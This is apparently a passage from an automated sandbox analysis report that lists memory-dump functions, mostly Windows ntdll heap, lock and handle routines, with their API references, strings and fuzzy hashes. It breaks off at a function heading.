Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Valid$AllocateAppendConvertFreeHeapInformationLengthQueryTokenmemmovewcscpy_s
String ID: \REGISTRY\USER\
API String ID: 3017593230-2169711131
Opcode ID: c2b61a1541d917bff11f9dc83487f186df30560c79cadb1b8001a4dd7b63b278
Instruction ID: e4c3beeb5ca2e8ef4949dba16704906a366ceff29f34dad654fde97af1c4b162
Opcode Fuzzy Hash: c2b61a1541d917bff11f9dc83487f186df30560c79cadb1b8001a4dd7b63b278
Instruction Fuzzy Hash: 94219231A0025C9ADB10DFF8C801EAEB3F8EF04B04F11452AE945EB190FB78D905C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6B49B8E4, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,-00000020,?,6B49B7BF,-00010018,?,00000000,?,-00000018,?), ref: 6B4E2C77
DbgPrint.1105((ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size),?,-00000020,?,6B49B7BF,-00010018,?,00000000,?,-00000018,?), ref: 6B4E2C8F

Strings

HEAP: , xrefs: 6B4E2C7F
(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 6B4E2C8A
HEAP[%wZ]: , xrefs: 6B4E2C72

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 3558298466-2558761708
Opcode ID: 549e0340683504f85519e4b1db305a0c059933022fccb067b6c59502033ae9f7
Instruction ID: c6cbe3a0c8724b80e25dada56f14b822da8215d777464cdd7e6fb9d64fb6b2bf
Opcode Fuzzy Hash: 549e0340683504f85519e4b1db305a0c059933022fccb067b6c59502033ae9f7
Instruction Fuzzy Hash: D611E2317685029FD718EB28E494F76BBB5EF41B69F14816DE04ACB350EB3CD842C691

Uniqueness

Uniqueness Score: -1.00%

Function 6B479240, Relevance: 10.6, APIs: 7, Instructions: 63memorynativeCOMMON

Download Yara Rule

APIs

ZwClose.1105(00000000,6B54F708,0000000C,6B479219), ref: 6B47925A
ZwClose.1105(00000000,6B54F708,0000000C,6B479219), ref: 6B479279
RtlFreeHeap.1105(?,?,?,00000000,6B54F708,0000000C,6B479219), ref: 6B479295
RtlFreeHeap.1105(?,?,00000000,?,?,?,00000000,6B54F708,0000000C,6B479219), ref: 6B4792B1
RtlFreeHeap.1105(?,?,?,?,?,00000000,?,?,?,00000000,6B54F708,0000000C,6B479219), ref: 6B4792CD
RtlAcquireSRWLockExclusive.1105(6B5686B4,?,?,?,?,?,00000000,?,?,?,00000000,6B54F708,0000000C,6B479219), ref: 6B4792D7
RtlFreeHeap.1105(?,?,?,6B5686B4,?,?,?,?,?,00000000,?,?,?,00000000,6B54F708,0000000C), ref: 6B47931A

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$Close$AcquireExclusiveLock
String ID:
API String ID: 3557490396-0
Opcode ID: bac5bf8d31444082dd7adaf3f00de210a96ad0cf2672893f07418057ff540ab2
Instruction ID: cb156e2608e61249c33f7f20c7545c65a735f97e7a39ded0f69f4f146078a3eb
Opcode Fuzzy Hash: bac5bf8d31444082dd7adaf3f00de210a96ad0cf2672893f07418057ff540ab2
Instruction Fuzzy Hash: 24216D31081600EFC721EF28CA01F9ABBB9FF09708F0545ADE049876B2DB39E941CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6B543E22, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62nativeCOMMON

Download Yara Rule

APIs

ZwTraceControl.1105(0000001A,8SVk,00000008,00000000,00000000,?,6B565338,00000000,6B565320,6B565320,6B565338,?,6B5684E0,?,00000001,6B455C80), ref: 6B543E5D
RtlNtStatusToDosError.1105(00000000,0000001A,8SVk,00000008,00000000,00000000,?,6B565338,00000000,6B565320,6B565320,6B565338,?,6B5684E0,?,00000001), ref: 6B543E6B
RtlAcquireSRWLockExclusive.1105(6B568504,00000000,0000001A,8SVk,00000008,00000000,00000000,?,6B565338,00000000,6B565320,6B565320,6B565338,?,6B5684E0), ref: 6B543E7A
RtlReleaseSRWLockExclusive.1105(6B568504,6B568504,00000000,0000001A,8SVk,00000008,00000000,00000000,?,6B565338,00000000,6B565320,6B565320,6B565338,?,6B5684E0), ref: 6B543EA1
RtlSetLastWin32Error.1105(00000006,6B565338,00000000,6B565320,6B565320,6B565338,?,6B5684E0,?,00000001,6B455C80,6B47591B), ref: 6B543EAC

Strings

8SVk, xrefs: 6B543E54, 6B543E5A

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorExclusiveLock$AcquireControlLastReleaseStatusTraceWin32
String ID: 8SVk
API String ID: 1422652320-1285610937
Opcode ID: 4432acbf776db7bb468a2331a5d17acb80e0beae40a0a36093045e08c78704bc
Instruction ID: bcc896e8456e999bb99d1469c1002b31f928f2ca2c52c14d4e4bca8bc7de0bd8
Opcode Fuzzy Hash: 4432acbf776db7bb468a2331a5d17acb80e0beae40a0a36093045e08c78704bc
Instruction Fuzzy Hash: D9110D72A01114A6EB30EF69C984FDB7BA8EF4DB50F404075ED0497141DB38C916C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 6B544015, Relevance: 10.5, APIs: 7, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(00000001,?,000000A0,?,?,?,6B4E6D7C,00000001,00000001,00000000,?,?,6B4A4E1B,0000000F), ref: 6B54402F
RtlAcquireSRWLockExclusive.1105(6B5686AC,00000001,?,000000A0,?,?,?,6B4E6D7C,00000001,00000001,00000000,?,?,6B4A4E1B,0000000F), ref: 6B544046

Part of subcall function 6B492280: RtlDllShutdownInProgress.1105(00000000), ref: 6B4922BA
Part of subcall function 6B492280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6B4923A3

RtlRbRemoveNode.1105(6B5686D4,?,6B5686AC,00000001,?,000000A0,?,?,?,6B4E6D7C,00000001,00000001,00000000,?,?,6B4A4E1B), ref: 6B544051
RtlReleaseSRWLockExclusive.1105(6B5686AC,6B5686D4,?,6B5686AC,00000001,?,000000A0,?,?,?,6B4E6D7C,00000001,00000001,00000000,?,?), ref: 6B544057
RtlReleaseSRWLockExclusive.1105(00000001,6B5686AC,6B5686D4,?,6B5686AC,00000001,?,000000A0,?,?,?,6B4E6D7C,00000001,00000001,00000000,?), ref: 6B544062
RtlFreeHeap.1105(?,00000000,?,00000001,6B5686AC,6B5686D4,?,6B5686AC,00000001,?,000000A0,?,?,?,6B4E6D7C,00000001), ref: 6B54407C
RtlFreeHeap.1105(?,00000000,?,00000001,6B5686AC,6B5686D4,?,6B5686AC,00000001,?,000000A0,?,?,?,6B4E6D7C,00000001), ref: 6B54408C

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireFreeHeapRelease$AlertNodeProgressRemoveShutdownThreadWait
String ID:
API String ID: 83280457-0
Opcode ID: 41fa9e4b17e3014687a433279fd7fe095a7f7d93e7b91fe1b46322ba7e4f7bb1
Instruction ID: 72b1c0b9e02c200e5dc82691b517449372ca207e7486717499eba52fc45e2a65
Opcode Fuzzy Hash: 41fa9e4b17e3014687a433279fd7fe095a7f7d93e7b91fe1b46322ba7e4f7bb1
Instruction Fuzzy Hash: AC018F72242945BFD211AF79CD81F57BBACEF45764B00066AF50887A21DF28EC11C6E4

Uniqueness

Uniqueness Score: -1.00%

Function 6B4ADA88, Relevance: 9.3, APIs: 6, Instructions: 253memoryCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6B56861C,6B550268,00000020,6B48BE44,?,00000000,?,00000001,00000000,?,000002BE,?,?,?,?), ref: 6B4ADAD3
RtlImageNtHeader.1105(00000001,6B56861C,6B550268,00000020,6B48BE44,?,00000000,?,00000001,00000000,?,000002BE,?,?,?,?), ref: 6B4ADB65
RtlAllocateHeap.1105(?,00000008,00000400,6B56861C,6B550268,00000020,6B48BE44,?,00000000,?,00000001,00000000,?,000002BE,?,?), ref: 6B4ADCA1

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireAllocateExclusiveHeaderHeapImageLock
String ID:
API String ID: 1783064793-0
Opcode ID: a127edd3deea1f60e6228e4a6482e38621ce0b84038c352f5331c20229b16745
Instruction ID: 503bece8c2d45c50ef51cb4ab4b8c4e8b9bfd4988046e23b985e7f308c5b1afd
Opcode Fuzzy Hash: a127edd3deea1f60e6228e4a6482e38621ce0b84038c352f5331c20229b16745
Instruction Fuzzy Hash: CDA14A749843058FEB04CF28C480BE9B7B0BF2A758F144599DC219B3E9E779D942DB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B4838A4, Relevance: 9.2, APIs: 6, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000,00020019,00000018,?), ref: 6B483913
RtlInitUnicodeString.1105(?,00000000,?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000,00020019,00000018), ref: 6B483960
RtlCultureNameToLCID.1105(?,000000AA,?,00000000,?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000), ref: 6B483979
RtlFreeHeap.1105(?,00000000,?,?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000,00020019), ref: 6B483A53

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateCultureFreeInitNameStringUnicode
String ID:
API String ID: 3431183669-0
Opcode ID: 74f7cbef4658aaa41d8116a5e8e660c2874a3b3c6bc41ec9a86e3a9d0c706b81
Instruction ID: a14d95eb489691a73b6981f76bcf01dbde7da0cbb9f251bc9367e0ce6c939e84
Opcode Fuzzy Hash: 74f7cbef4658aaa41d8116a5e8e660c2874a3b3c6bc41ec9a86e3a9d0c706b81
Instruction Fuzzy Hash: 1C91D031A083418BDB15DF18C491FAAB7E5FF85754F05895EF8958B391D378C881CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6B475AC0, Relevance: 9.2, APIs: 6, Instructions: 222COMMON

Download Yara Rule

APIs

memcpy.1105(?,?,00000200,?,000001FF,?,?,?,?), ref: 6B475BE1

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 85fe45d34698ffa5bdc070111c41f936359dcb0241afb4b1ecc1e5f75c859ea9
Instruction ID: 60225242eaeaeeb974655db4a897a944cc019ac8e6e1c09a9ce3b7e8ee294f83
Opcode Fuzzy Hash: 85fe45d34698ffa5bdc070111c41f936359dcb0241afb4b1ecc1e5f75c859ea9
Instruction Fuzzy Hash: 3281B6B1A001299BDB209A28CD50FEA77B8EB45714F0045FADA15E7280EB7CDEC5CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6B542EF7, Relevance: 9.2, APIs: 6, Instructions: 183timeCOMMON

Download Yara Rule

APIs

_allshl.1105(?,00000000,00000000,00000000,?,?,?,?,6B53B632,?,00000000), ref: 6B54303C
_allshl.1105(?,00000000,00000000,00000000,?,?,?,?,6B53B632,?,00000000), ref: 6B543049
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000,00000000,?,?,?,?,6B53B632,?,00000000), ref: 6B54305E
RtlDebugPrintTimes.1105(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 6B543081
RtlDebugPrintTimes.1105(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 6B5430AF
RtlReleaseSRWLockExclusive.1105(?), ref: 6B5430DB

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugExclusiveLockPrintTimes_allshl$AcquireRelease
String ID:
API String ID: 4236268356-0
Opcode ID: 3f6e6e23a3b49a1627d1af5aa356db71ca835127654d7b3bc64bba8ec8cd14bd
Instruction ID: 43be5d0e5c0c9dea6fceb324dd78ebbfeb46583afbd2e86e3d2f010846e272ce
Opcode Fuzzy Hash: 3f6e6e23a3b49a1627d1af5aa356db71ca835127654d7b3bc64bba8ec8cd14bd
Instruction Fuzzy Hash: 54513D726042558FD705CF29C8519AABBF1FF89311B0686AEE894DB291EB34DC15CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6B47B171, Relevance: 9.2, APIs: 6, Instructions: 166nativeCOMMON

Download Yara Rule

APIs

ZwQueryDebugFilterState.1105(?,6B4BB627,6B54F7A8,00000090,6B47B16E,00000003,6B4BB627,0000000A,00000001,00000000,0000000A,6B4BB627,Invalid parameter passed to C runtime function.), ref: 6B47B1C4
_alloca_probe_16.1105(6B54F7A8,00000090,6B47B16E,00000003,6B4BB627,0000000A,00000001,00000000,0000000A,6B4BB627,Invalid parameter passed to C runtime function.), ref: 6B4D4835
memcpy.1105(?,?,?,6B54F7A8,00000090,6B47B16E,00000003,6B4BB627,0000000A,00000001,00000000,0000000A,6B4BB627), ref: 6B4D4866
_vsnprintf.1105(?,-00000081,?,?,0000000A,6B4BB627), ref: 6B4D48AD
ZwWow64DebuggerCall.1105(00000001,00000000,7FFE02D4,?,6B4BB627,6B54F7A8,00000090,6B47B16E,00000003,6B4BB627,0000000A,00000001,00000000,0000000A,6B4BB627,Invalid parameter passed to C runtime function.), ref: 6B4D4986

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CallDebugDebuggerFilterQueryStateWow64_alloca_probe_16_vsnprintfmemcpy
String ID:
API String ID: 1346858437-0
Opcode ID: e2e6877ecee52cf0cd7f86b3a0dde855ff2f3e81c38335bc5987b9e5324bed28
Instruction ID: 16c145c21fb94f5ce26e7c89a98f57984c7c035efdeec6aeeaa0c3f87168c484
Opcode Fuzzy Hash: e2e6877ecee52cf0cd7f86b3a0dde855ff2f3e81c38335bc5987b9e5324bed28
Instruction Fuzzy Hash: 7451ED75E042598EEF20CF78C8A5FAEBBB0AF01794F1041EDE859AB381D73849418B91

Uniqueness

Uniqueness Score: -1.00%

Function 6B54740D, Relevance: 9.1, APIs: 6, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

RtlCompareMemory.1105(00000018,?,00000000,00000000,00000000,00000000,00000000,00000000,?,6B4F14C4,0000000C,?,?,00000000,00000066,00000000), ref: 6B54743C
RtlAllocateHeap.1105(?,00000008,0000001A,00000000,00000000,00000000,00000000,00000000,?,6B4F14C4,0000000C,?,?,00000000,00000066,00000000), ref: 6B547464
memcpy.1105(00000018,?,00000000,?,00000008,0000001A,00000000,00000000,00000000,00000000,00000000,?,6B4F14C4,0000000C,?,?), ref: 6B547484
RtlAllocateHeap.1105(?,00000008,00000018,00000000,00000066,00000000), ref: 6B5474AC
memcmp.1105(00000066,00000008,00000010,00000018,?,00000000,00000000,00000000,00000000,00000000,00000000,?,6B4F14C4,0000000C,?,?), ref: 6B547527
RtlAllocateHeap.1105(?,00000008,00000018,00000000,00000066,00000000), ref: 6B547546

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$CompareMemorymemcmpmemcpy
String ID:
API String ID: 3500240269-0
Opcode ID: 53f0b23cde38d8cbdebcfad0d89ab03898b2aa5ba471344c79297c4b5cd44298
Instruction ID: 01e9ed7b224f27440e4841ca6d64ab59775011474afb439a40689301f198e8a2
Opcode Fuzzy Hash: 53f0b23cde38d8cbdebcfad0d89ab03898b2aa5ba471344c79297c4b5cd44298
Instruction Fuzzy Hash: 13518C71640606EFEB15CF18C481A86BBB5FF45708F14C4AAE908DF212E375E946CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B480100, Relevance: 9.1, APIs: 6, Instructions: 122nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6B56861C,6B54F848,0000001C,6B47F66C,?,00000000,6B5652D8), ref: 6B480120
ZwUnmapViewOfSection.1105(000000FF,?,6B56861C,6B54F848,0000001C,6B47F66C,?,00000000,6B5652D8), ref: 6B4801AF
ZwClose.1105(?,000000FF,?,6B56861C,6B54F848,0000001C,6B47F66C,?,00000000,6B5652D8), ref: 6B4801BD

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireCloseExclusiveLockSectionUnmapView
String ID:
API String ID: 1629747488-0
Opcode ID: 71f7f8a94bd7a44b69e64538dadbf24b4f0db8bf3e4090c089c84818eb9a45e2
Instruction ID: 7b1de613888bbe7c0390ccd28bdc328f1a8c88caaa69a35e761cad6688094183
Opcode Fuzzy Hash: 71f7f8a94bd7a44b69e64538dadbf24b4f0db8bf3e4090c089c84818eb9a45e2
Instruction Fuzzy Hash: 97415A35996204DFDF42DF68C990BEA7BB0BF06764F050159D420AB3A2DB3DD941CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B4F5623, Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00000002,?,6B4EE4BC,6B5503D0,0000000C,6B4E9687,00000000,00000000,00000001,?,?,7FFE0386,?,6B476778,00000001), ref: 6B4F5628
RtlGetCurrentServiceSessionId.1105 ref: 6B4F5661
RtlTryEnterCriticalSection.1105(6B565350,00000000,00000002,?,6B4EE4BC,6B5503D0,0000000C,6B4E9687,00000000,00000000,00000001,?,?,7FFE0386,?,6B476778), ref: 6B4F569B
RtlGetCurrentServiceSessionId.1105(6B565350,00000000,00000002,?,6B4EE4BC,6B5503D0,0000000C,6B4E9687,00000000,00000000,00000001,?,?,7FFE0386,?,6B476778), ref: 6B4F56A2
RtlGetCurrentServiceSessionId.1105 ref: 6B4F56D2
RtlGetCurrentServiceSessionId.1105 ref: 6B4F572F

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$CriticalEnterSection
String ID:
API String ID: 1555030633-0
Opcode ID: 4bacde2c404a418bd0864500efe98d4c7fd1fe9d00e8f1600af21434ce685f32
Instruction ID: 573904380adaf8abe642c17248be4a1d0dd6a7e7e5dd2f93a1fcd523eb9c6626
Opcode Fuzzy Hash: 4bacde2c404a418bd0864500efe98d4c7fd1fe9d00e8f1600af21434ce685f32
Instruction Fuzzy Hash: 69319431255B819BFB22977CCD84F1437D9AF82B64F2543E4EA348B7E2DB6C9402C250

Uniqueness

Uniqueness Score: -1.00%

Function 6B53A189, Relevance: 9.1, APIs: 6, Instructions: 96nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6B566220,00000000,?,?,?), ref: 6B53A1AE
ZwGetNlsSectionPtr.1105(0000000C,?,00000000,?,?,6B566220,00000000,?,?,?), ref: 6B53A1E8
RtlReleaseSRWLockExclusive.1105(6B566220,?,00000000,00000000,?,0000000C,?,00000000,00000050,6B566220,00000000,?,?,?), ref: 6B53A252

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireReleaseSection
String ID:
API String ID: 1496884002-0
Opcode ID: 6877465fccb4e88ff193a71d3877c43c7941c0ee9519da000ba690948cb4f95a
Instruction ID: c3f07c1cb6917bfcbd64d139b043ef4967c99172b5ad84e280419cc00b3b5018
Opcode Fuzzy Hash: 6877465fccb4e88ff193a71d3877c43c7941c0ee9519da000ba690948cb4f95a
Instruction Fuzzy Hash: 0231F131A40215ABEB118FA8D890BAEBBB8AF45714F0000B9F504EB350FB79CD0087D0

Uniqueness

Uniqueness Score: -1.00%

Function 6B47F7C0, Relevance: 9.1, APIs: 6, Instructions: 64nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(00000058,00000000,00000000,00000000,?,6B4E76A7,?,?,00000000,6B4567CC,00000000,00000000,?,00000040), ref: 6B47F7F5
RtlReleaseSRWLockExclusive.1105(00000058,00000058,00000000,00000000,00000000,?,6B4E76A7,?,?,00000000,6B4567CC,00000000,00000000,?,00000040), ref: 6B47F860

Part of subcall function 6B47F8C8: RtlAcquireSRWLockExclusive.1105(6B5686AC,00000058,?,00000030,6B47F813,00000058,00000000,00000000,00000000,?,6B4E76A7,?,?,00000000,6B4567CC,00000000), ref: 6B47F8D5
Part of subcall function 6B47F8C8: RtlRbRemoveNode.1105(6B5686DC,00000030,6B5686AC,00000058,?,00000030,6B47F813,00000058,00000000,00000000,00000000,?,6B4E76A7,?,?,00000000), ref: 6B47F8E0
Part of subcall function 6B47F8C8: RtlReleaseSRWLockExclusive.1105(6B5686AC,6B5686DC,00000030,6B5686AC,00000058,?,00000030,6B47F813,00000058,00000000,00000000,00000000,?,6B4E76A7,?,?), ref: 6B47F8EE

RtlReleaseSRWLockExclusive.1105(00000058,00000058,00000000,00000000,00000000,?,6B4E76A7,?,?,00000000,6B4567CC,00000000,00000000,?,00000040), ref: 6B47F814
ZwClose.1105(?,00000058,00000058,00000000,00000000,00000000,?,6B4E76A7,?,?,00000000,6B4567CC,00000000,00000000,?,00000040), ref: 6B47F82E
RtlSetLastWin32Error.1105(00000006,00000000,00000000,00000000,?,6B4E76A7,?,?,00000000,6B4567CC,00000000,00000000,?,00000040), ref: 6B47F867

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire$CloseErrorLastNodeRemoveWin32
String ID:
API String ID: 2169420607-0
Opcode ID: ca9ecb2c6fda8529a5311ba37fd0fde095be7391a10984ae00657fbf8ba4e0ee
Instruction ID: 9520439b71b2a7dada3ca7fa39c2a95fe69f4b47b22cae51734f668b1074afc2
Opcode Fuzzy Hash: ca9ecb2c6fda8529a5311ba37fd0fde095be7391a10984ae00657fbf8ba4e0ee
Instruction Fuzzy Hash: 2B1190366422459BEF21BF20C881FEA3325BF81B14F4245FDE9145F246DB28D886C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6B501242, Relevance: 9.0, APIs: 6, Instructions: 31nativeCOMMON

Download Yara Rule

APIs

ZwUnmapViewOfSection.1105(000000FF,?,6B50122C,6B5507D0,00000058,6B500C91,?,00000000,?,00000000,?,?,?,6B52B56B,00000000,?), ref: 6B50124C
ZwClose.1105(?,000000FF,?,6B50122C,6B5507D0,00000058,6B500C91,?,00000000,?,00000000,?,?,?,6B52B56B,00000000), ref: 6B50125A
ZwClose.1105(?,000000FF,?,6B50122C,6B5507D0,00000058,6B500C91,?,00000000,?,00000000,?,?,?,6B52B56B,00000000), ref: 6B501267
ZwClose.1105(?,6B50122C,6B5507D0,00000058,6B500C91,?,00000000,?,00000000,?,?,?,6B52B56B,00000000,?,00000000), ref: 6B501275
ZwClose.1105(?,6B50122C,6B5507D0,00000058,6B500C91,?,00000000,?,00000000,?,?,?,6B52B56B,00000000,?,00000000), ref: 6B501286
ZwClose.1105(?,6B50122C,6B5507D0,00000058,6B500C91,?,00000000,?,00000000,?,?,?,6B52B56B,00000000,?,00000000), ref: 6B501297

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$SectionUnmapView
String ID:
API String ID: 682624529-0
Opcode ID: df9b40cab72dcffc0bbba800b8aff6860ab2831aacd6ae3e33e08911f29cf166
Instruction ID: ce9286336b7c3a4db89fe71672e963c82051435194b77eb0afb8918e5ae6c40b
Opcode Fuzzy Hash: df9b40cab72dcffc0bbba800b8aff6860ab2831aacd6ae3e33e08911f29cf166
Instruction Fuzzy Hash: C7F01D70D0111DEAEF059FB1D985FDDBB72AF21208F14016CF121B11A1DF794890DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A0548, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

